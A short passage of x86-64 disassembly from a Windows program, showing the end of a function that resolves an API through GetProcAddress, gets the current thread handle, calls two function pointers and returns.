mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x678]
mov r9, qword [rbp + 0x670]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x660]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x860]
add rsp, 0x8f8
pop rbx
pop rsi
pop rdi
pop rbp
ret